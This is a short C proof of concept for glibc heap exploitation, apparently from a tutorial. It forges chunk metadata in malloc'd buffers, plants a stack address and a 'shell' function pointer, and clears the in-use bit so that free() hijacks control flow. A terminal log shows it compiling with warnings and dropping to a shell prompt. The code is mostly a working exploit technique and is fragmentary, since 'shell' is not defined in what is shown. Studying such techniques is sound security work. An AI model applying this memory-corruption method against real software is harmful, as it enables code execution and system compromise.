int main(int argc,char *argv[]) { unsigned int addr[1]; unsigned int * p0 = malloc(8); unsigned int * p1 = malloc(8); unsigned int * p2 = malloc(0x10000-8);
p0[0]=&addr[-1]; p0[1]=shell;
p0[2] = 0x10; p0[3] &= ~0x1;
free(p1); free(p2); // or p0=malloc(0x10000); }
[cloud@watercloud ex-malloc]$ gcc t-fast2.c -o t2 -g t-fast2.c: In function `main: t-fast2.c:15: warning: assignment makes integer from pointer without a cast t-fast2.c:16: warning: assignment makes integer from pointer without a cast [cloud@watercloud ex-malloc]$ ./t2 sh-2.05b$